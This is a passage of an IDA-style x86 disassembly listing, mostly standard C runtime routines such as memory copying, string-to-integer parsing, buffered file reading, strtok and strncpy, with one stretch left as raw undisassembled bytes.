loc_414624:				; CODE XREF: sub_414520:loc_41457Cj
					; DATA XREF: sub_414520+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41462C:				; CODE XREF: sub_414520:loc_41457Cj
					; DATA XREF: sub_414520+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_414634:				; CODE XREF: sub_414520:loc_41457Cj
					; DATA XREF: sub_414520+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41463C:				; CODE XREF: sub_414520:loc_41457Cj
					; DATA XREF: sub_414520+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_414644:				; CODE XREF: sub_414520:loc_41457Cj
					; DATA XREF: sub_414520+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41464C:				; CODE XREF: sub_414520:loc_41457Cj
					; DATA XREF: sub_414520+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41465F:				; CODE XREF: sub_414520:loc_41457Cj
					; DATA XREF: sub_414520:off_4145FCo
		jmp	ds:off_414668[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_414668	dd offset loc_414678	; DATA XREF: sub_414520+35r
					; sub_414520+92r ...
		dd offset loc_414680
		dd offset loc_41468C
		dd offset loc_4146A0
; ---------------------------------------------------------------------------


loc_414678:				; CODE XREF: sub_414520+35j
					; sub_414520+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_414680:				; CODE XREF: sub_414520+35j
					; sub_414520+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41468C:				; CODE XREF: sub_414520+35j
					; sub_414520+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4146A0:				; CODE XREF: sub_414520+35j
					; sub_414520+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4146B8:				; CODE XREF: sub_414520+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_4146EC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4146E0
		std
		rep movsd
		cld
		jmp	ds:off_414800[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_4146E0:				; CODE XREF: sub_414520+1B1j
					; sub_414520+208j ...
		neg	ecx
		jmp	ds:off_4147B0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4146EC:				; CODE XREF: sub_414520+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_414704
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_414704+4[eax*4]
; ---------------------------------------------------------------------------


loc_414704:				; CODE XREF: sub_414520+1D6j
					; DATA XREF: sub_414520+1DDr
		jmp	ds:off_414800[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		sbb	[edi+41h], al
		add	[eax], bh
		inc	edi
		inc	ecx
		add	[eax+47h], ah
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_4146E0
		std
		rep movsd
		cld
		jmp	ds:off_414800[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_4146E0
		std
		rep movsd
		cld
		jmp	ds:off_414800[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_4146E0
		std
		rep movsd
		cld
		jmp	ds:off_414800[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4147B4
		dd offset loc_4147BC
		dd offset loc_4147C4
		dd offset loc_4147CC
		dd offset loc_4147D4
		dd offset loc_4147DC
		dd offset loc_4147E4
off_4147B0	dd offset loc_4147F7	; DATA XREF: sub_414520+1C2r
; ---------------------------------------------------------------------------


loc_4147B4:				; DATA XREF: sub_414520+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_4147BC:				; DATA XREF: sub_414520+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_4147C4:				; DATA XREF: sub_414520+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_4147CC:				; DATA XREF: sub_414520+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_4147D4:				; DATA XREF: sub_414520+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_4147DC:				; DATA XREF: sub_414520+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_4147E4:				; DATA XREF: sub_414520+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4147F7:				; CODE XREF: sub_414520+1C2j
					; DATA XREF: sub_414520:off_4147B0o
		jmp	ds:off_414800[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_414800	dd offset loc_414810	; DATA XREF: sub_414520+1B7r
					; sub_414520:loc_414704r ...
		dd offset loc_414818
		dd offset loc_414828
		dd offset loc_41483C
; ---------------------------------------------------------------------------


loc_414810:				; CODE XREF: sub_414520+1B7j
					; sub_414520:loc_414704j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_414818:				; CODE XREF: sub_414520+1B7j
					; sub_414520:loc_414704j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_414828:				; CODE XREF: sub_414520+1B7j
					; sub_414520:loc_414704j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41483C:				; CODE XREF: sub_414520+1B7j
					; sub_414520:loc_414704j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_414520	endp


; =============== S U B	R O U T	I N E =======================================



sub_414855	proc near		; CODE XREF: sub_4037A2+34p
					; sub_4037A2+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_413E71
		pop	ecx
		pop	ecx
		retn
sub_414855	endp


; =============== S U B	R O U T	I N E =======================================



sub_414863	proc near		; CODE XREF: sub_4148D0+4p

arg_0		= dword	ptr  4

		push	esi
		push	ds:dword_45FE74
		call	sub_418CD8
		mov	edx, ds:dword_45FE74
		pop	ecx
		mov	ecx, ds:dword_45FE70
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_4148C2
		push	edx
		call	sub_418CD8
		add	eax, 10h
		push	eax
		push	ds:dword_45FE74
		call	sub_41556F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4148A5
		retn
; ---------------------------------------------------------------------------


loc_4148A5:				; CODE XREF: sub_414863+3Fj
		mov	ecx, ds:dword_45FE70
		sub	ecx, ds:dword_45FE74
		mov	ds:dword_45FE74, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	ds:dword_45FE70, ecx


loc_4148C2:				; CODE XREF: sub_414863+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	ds:dword_45FE70, 4
		retn
sub_414863	endp


; =============== S U B	R O U T	I N E =======================================



sub_4148D0	proc near		; CODE XREF: sub_40388F+1Ap
					; sub_41E17E+5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_414863
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_4148D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4148E2	proc near		; DATA XREF: seg002:00421014o
		push	80h
		call	sub_413E5F
		test	eax, eax
		pop	ecx
		mov	ds:dword_45FE74, eax
		jnz	short loc_414903
		push	18h
		call	sub_415C7E
		mov	eax, ds:dword_45FE74
		pop	ecx


loc_414903:				; CODE XREF: sub_4148E2+12j
		and	dword ptr [eax], 0
		mov	eax, ds:dword_45FE74
		mov	ds:dword_45FE70, eax
		retn
sub_4148E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414911	proc near		; CODE XREF: sub_414B19+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_414929:				; CODE XREF: sub_414911+46j
		cmp	ds:dword_42D2FC, 1
		jle	short loc_414941
		movzx	eax, bl
		push	8
		push	eax
		call	sub_4165E6
		pop	ecx
		pop	ecx
		jmp	short loc_414950
; ---------------------------------------------------------------------------


loc_414941:				; CODE XREF: sub_414911+1Fj
		mov	ecx, ds:off_42D0F0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_414950:				; CODE XREF: sub_414911+2Ej
		test	eax, eax
		jz	short loc_414959
		mov	bl, [esi]
		inc	esi
		jmp	short loc_414929
; ---------------------------------------------------------------------------


loc_414959:				; CODE XREF: sub_414911+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_414967
		or	[ebp+arg_C], 2
		jmp	short loc_41496C
; ---------------------------------------------------------------------------


loc_414967:				; CODE XREF: sub_414911+4Ej
		cmp	bl, 2Bh
		jnz	short loc_414972


loc_41496C:				; CODE XREF: sub_414911+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_414972:				; CODE XREF: sub_414911+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_414B09
		cmp	eax, 1
		jz	loc_414B09
		cmp	eax, 24h
		jg	loc_414B09
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_4149BA
		cmp	bl, 30h
		jz	short loc_4149A4
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_4149D6
; ---------------------------------------------------------------------------


loc_4149A4:				; CODE XREF: sub_414911+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_4149B7
		cmp	al, 58h
		jz	short loc_4149B7
		mov	[ebp+arg_8], 8
		jmp	short loc_4149D6
; ---------------------------------------------------------------------------


loc_4149B7:				; CODE XREF: sub_414911+97j
					; sub_414911+9Bj
		mov	[ebp+arg_8], ecx


loc_4149BA:				; CODE XREF: sub_414911+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_4149D6
		cmp	bl, 30h
		jnz	short loc_4149D6
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_4149CE
		cmp	al, 58h
		jnz	short loc_4149D6


loc_4149CE:				; CODE XREF: sub_414911+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_4149D6:				; CODE XREF: sub_414911+91j
					; sub_414911+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_4149E6:				; CODE XREF: sub_414911+16Cj
		cmp	ds:dword_42D2FC, 1
		movzx	esi, bl
		jle	short loc_4149FE
		push	4
		push	esi
		call	sub_4165E6
		pop	ecx
		pop	ecx
		jmp	short loc_414A09
; ---------------------------------------------------------------------------


loc_4149FE:				; CODE XREF: sub_414911+DFj
		mov	eax, ds:off_42D0F0
		mov	al, [eax+esi*2]
		and	eax, 4


loc_414A09:				; CODE XREF: sub_414911+EBj
		test	eax, eax
		jz	short loc_414A15
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_414A47
; ---------------------------------------------------------------------------


loc_414A15:				; CODE XREF: sub_414911+FAj
		cmp	ds:dword_42D2FC, 1
		jle	short loc_414A29
		push	edi
		push	esi
		call	sub_4165E6
		pop	ecx
		pop	ecx
		jmp	short loc_414A34
; ---------------------------------------------------------------------------


loc_414A29:				; CODE XREF: sub_414911+10Bj
		mov	eax, ds:off_42D0F0
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_414A34:				; CODE XREF: sub_414911+116j
		test	eax, eax
		jz	short loc_414A82
		movsx	eax, bl
		push	eax
		call	sub_418D01
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_414A47:				; CODE XREF: sub_414911+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_414A82
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_414A6C
		jnz	short loc_414A66
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_414A6C


loc_414A66:				; CODE XREF: sub_414911+147j
		or	[ebp+arg_C], 4
		jmp	short loc_414A75
; ---------------------------------------------------------------------------


loc_414A6C:				; CODE XREF: sub_414911+145j
					; sub_414911+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_414A75:				; CODE XREF: sub_414911+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_4149E6
; ---------------------------------------------------------------------------


loc_414A82:				; CODE XREF: sub_414911+125j
					; sub_414911+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_414AA0
		test	edx, edx
		jz	short loc_414A9A
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_414A9A:				; CODE XREF: sub_414911+181j
		and	[ebp+var_8], 0
		jmp	short loc_414AED
; ---------------------------------------------------------------------------


loc_414AA0:				; CODE XREF: sub_414911+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_414AC6
		test	cl, 1
		jnz	short loc_414AED
		and	ecx, 2
		jz	short loc_414ABD
		cmp	[ebp+var_8], 80000000h
		ja	short loc_414AC6


loc_414ABD:				; CODE XREF: sub_414911+1A1j
		test	ecx, ecx
		jnz	short loc_414AED
		cmp	[ebp+var_8], eax
		jbe	short loc_414AED


loc_414AC6:				; CODE XREF: sub_414911+197j
					; sub_414911+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	ds:dword_45E804, 22h
		jz	short loc_414ADC
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_414AED
; ---------------------------------------------------------------------------


loc_414ADC:				; CODE XREF: sub_414911+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_414AED:				; CODE XREF: sub_414911+18Dj
					; sub_414911+19Cj ...
		test	edx, edx
		jz	short loc_414AF6
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_414AF6:				; CODE XREF: sub_414911+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_414B04
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_414B04:				; CODE XREF: sub_414911+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_414B14
; ---------------------------------------------------------------------------


loc_414B09:				; CODE XREF: sub_414911+66j
					; sub_414911+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_414B12
		mov	[eax], edi


loc_414B12:				; CODE XREF: sub_414911+1FDj
		xor	eax, eax


loc_414B14:				; CODE XREF: sub_414911+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414911	endp


; =============== S U B	R O U T	I N E =======================================



sub_414B19	proc near		; CODE XREF: seg000:00403D6Ep
					; seg000:0040E99Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_414911
		add	esp, 10h
		retn
sub_414B19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414B30	proc near		; CODE XREF: seg000:00403B17p
					; seg000:00403D1Bp ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_413DB0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_418DCD
		add	esp, 10h
		leave
		retn
sub_414B30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414B64	proc near		; CODE XREF: seg000:004038FFp

var_20		= byte ptr -20h
var_10		= byte ptr -10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_41F054	; GetLocalTime
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 0A70000h
		retn	8B66h
sub_414B64	endp

; ---------------------------------------------------------------------------
		db 45h
		dd 53B66EAh, 45E7FAh, 8B663B75h, 3B66E845h, 45E7F805h
		dd 662E7500h, 66E6458Bh, 0E7F6053Bh, 21750045h,	0E2458B66h
		dd 0F2053B66h, 750045E7h, 458B6614h, 53B66E0h, 45E7F0h
		dd 0E8A10775h, 0EB0045E7h, 34858D45h, 50FFFFFFh, 65B42BE8h
		dd 0F883C900h, 831B74FFh, 127502F8h, 0CE7D8366h, 830B7400h
		dd 7400DC7Dh, 58016A05h, 0C03307EBh, 0C88303EBh, 8D5756FFh
		dd 0F0BFE075h, 0A50045E7h, 5FA5A5A5h, 45E7E8A3h, 0F505E00h
		dd 50FC45B7h, 0FA45B70Fh, 45B70F50h, 0B70F50F8h, 0F50F645h
		dd 50F245B7h, 0F045B70Fh, 4C4CE850h, 4D8B0000h,	1CC48308h
		dd 274C985h, 0C3C90189h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414C40	proc near		; CODE XREF: sub_403F31+4Ep
					; seg000:004053F4p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_414C64
		xor	eax, eax
		jmp	loc_414D0D
; ---------------------------------------------------------------------------


loc_414C64:				; CODE XREF: sub_414C40+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_414C77
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_414C83
; ---------------------------------------------------------------------------


loc_414C77:				; CODE XREF: sub_414C40+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_414C83
; ---------------------------------------------------------------------------


loc_414C80:				; CODE XREF: sub_414C40+C4j
		mov	ecx, [ebp+arg_0]


loc_414C83:				; CODE XREF: sub_414C40+35j
					; sub_414C40+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_414CB5
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_414CB5
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_414C9A
		mov	edi, eax


loc_414C9A:				; CODE XREF: sub_414C40+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_413690
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_414D00
; ---------------------------------------------------------------------------


loc_414CB5:				; CODE XREF: sub_414C40+49j
					; sub_414C40+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_414CE8
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_414CCB
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_414CCB:				; CODE XREF: sub_414C40+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_419A19
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_414D12
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414D18
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_414D00
; ---------------------------------------------------------------------------


loc_414CE8:				; CODE XREF: sub_414C40+78j
		push	esi
		call	sub_419940
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_414D1C
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_414D00:				; CODE XREF: sub_414C40+73j
					; sub_414C40+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_414C80
		mov	eax, [ebp+arg_8]


loc_414D0D:				; CODE XREF: sub_414C40+1Fj
					; sub_414C40+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_414D12:				; CODE XREF: sub_414C40+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_414D1C
; ---------------------------------------------------------------------------


loc_414D18:				; CODE XREF: sub_414C40+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_414D1C:				; CODE XREF: sub_414C40+B2j
					; sub_414C40+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_414D0D
sub_414C40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414D28	proc near		; CODE XREF: sub_403FCB+2B2p
					; seg000:004046A9p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_414D41:				; CODE XREF: sub_414D28+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_414D41
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_414D69
		mov	edx, ds:dword_45E800


loc_414D69:				; CODE XREF: sub_414D28+39j
					; sub_414D28+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_414D89
		test	al, al
		jz	short loc_414D89
		inc	edx
		jmp	short loc_414D69
; ---------------------------------------------------------------------------


loc_414D89:				; CODE XREF: sub_414D28+58j
					; sub_414D28+5Cj
		mov	ebx, edx


loc_414D8B:				; CODE XREF: sub_414D28+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_414DAF
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_414DAB
		inc	edx
		jmp	short loc_414D8B
; ---------------------------------------------------------------------------


loc_414DAB:				; CODE XREF: sub_414D28+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_414DAF:				; CODE XREF: sub_414D28+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	ds:dword_45E800, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_414D28	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_414DD0	proc near		; CODE XREF: sub_404858+1B4p
					; sub_407E52+43p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_414E53
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_414DF4
		shr	ecx, 2
		jnz	short loc_414E61
		jmp	short loc_414E15
; ---------------------------------------------------------------------------


loc_414DF4:				; CODE XREF: sub_414DD0+1Bj
					; sub_414DD0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_414E22
		test	al, al
		jz	short loc_414E2A
		test	esi, 3
		jnz	short loc_414DF4
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_414E61


loc_414E10:				; CODE XREF: sub_414DD0+8Fj
		and	ebx, 3
		jz	short loc_414E22


loc_414E15:				; CODE XREF: sub_414DD0+22j
					; sub_414DD0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_414E4E
		dec	ebx
		jnz	short loc_414E15


loc_414E22:				; CODE XREF: sub_414DD0+2Bj
					; sub_414DD0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_414E2A:				; CODE XREF: sub_414DD0+2Fj
		test	edi, 3
		jz	short loc_414E44


loc_414E32:				; CODE XREF: sub_414DD0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_414EC6
		test	edi, 3
		jnz	short loc_414E32


loc_414E44:				; CODE XREF: sub_414DD0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_414EB7


loc_414E4B:				; CODE XREF: sub_414DD0+7Fj
					; sub_414DD0+F4j
		mov	[edi], al
		inc	edi


loc_414E4E:				; CODE XREF: sub_414DD0+4Dj
		dec	ebx
		jnz	short loc_414E4B
		pop	ebx
		pop	esi


loc_414E53:				; CODE XREF: sub_414DD0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_414E59:				; CODE XREF: sub_414DD0+A9j
					; sub_414DD0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_414E10


loc_414E61:				; CODE XREF: sub_414DD0+20j
					; sub_414DD0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_414E59
		test	dl, dl
		jz	short loc_414EAB
		test	dh, dh
		jz	short loc_414EA1
		test	edx, 0FF0000h
		jz	short loc_414E97
		test	edx, 0FF000000h
		jnz	short loc_414E59
		mov	[edi], edx
		jmp	short loc_414EAF
; ---------------------------------------------------------------------------


loc_414E97:				; CODE XREF: sub_414DD0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_414EAF
; ---------------------------------------------------------------------------


loc_414EA1:				; CODE XREF: sub_414DD0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_414EAF
; ---------------------------------------------------------------------------


loc_414EAB:				; CODE XREF: sub_414DD0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_414EAF:				; CODE XREF: sub_414DD0+C5j
					; sub_414DD0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_414EC1


loc_414EB7:				; CODE XREF: sub_414DD0+79j
		xor	eax, eax


loc_414EB9:				; CODE XREF: sub_414DD0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_414EB9


loc_414EC1:				; CODE XREF: sub_414DD0+E5j
		and	ebx, 3
		jnz	short loc_414E4B


loc_414EC6:				; CODE XREF: sub_414DD0+66j
